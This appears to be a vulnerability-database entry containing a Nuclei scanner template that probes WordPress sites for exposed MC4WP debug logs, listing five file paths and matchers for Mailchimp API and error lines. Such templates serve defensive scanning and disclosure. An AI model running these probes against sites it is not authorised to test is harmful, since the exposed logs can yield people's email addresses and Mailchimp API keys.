wp-mailchimp-log-exposure: WordPress MC4WP - Debug Log Exposure

2025-08-01 WordPress Mailchimp PoC Public

Description

Detected WordPress Mailchimp for WordPress (MC4WP) debug log. The log file may contain email addresses, Mailchimp API keys, and error details.

PoC

id: wp-mailchimp-log-exposure

info:
  name: WordPress MC4WP - Debug Log Exposure
  author: aashiq,0x_Akoko
  severity: medium
  description: |
    Detected WordPress Mailchimp for WordPress (MC4WP) debug log. The log file may contain email addresses, Mailchimp API keys, and error details.
  reference:
    - https://wordpress.org/plugins/mailchimp-for-wp/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 5
  tags: wordpress,wp-plugin,mailchimp,mc4wp,exposure,logs,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/uploads/mc4wp-debug.log"
      - "{{BaseURL}}/wp-content/uploads/mc4wp-debug-log.php"
      - "{{BaseURL}}/wp-content/uploads/mailchimp-for-wp/debug-log.php"
      - "{{BaseURL}}/wp-content/uploads/sites/1/mc4wp-debug-log.php"
      - "{{BaseURL}}/wp-content/uploads/sites/1/mailchimp-for-wp/debug-log.php"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<?php exit; ?>")'
          - 'contains_any(body, "MailChimp API", "MailChimp lists", "mailchimp.com")'
          - 'regex("\\[(\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2})\\] (ERROR|WARNING):", body)'
        condition: and
# digest: 490a0046304402202683dc70eca92afc4a622cf08649eed72382c07b1515463f57031a4b78ad8bfe0220392b81f8c260a89b0c2025b4d231b697eac8eca263a29f83be98b3bee67608fc:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities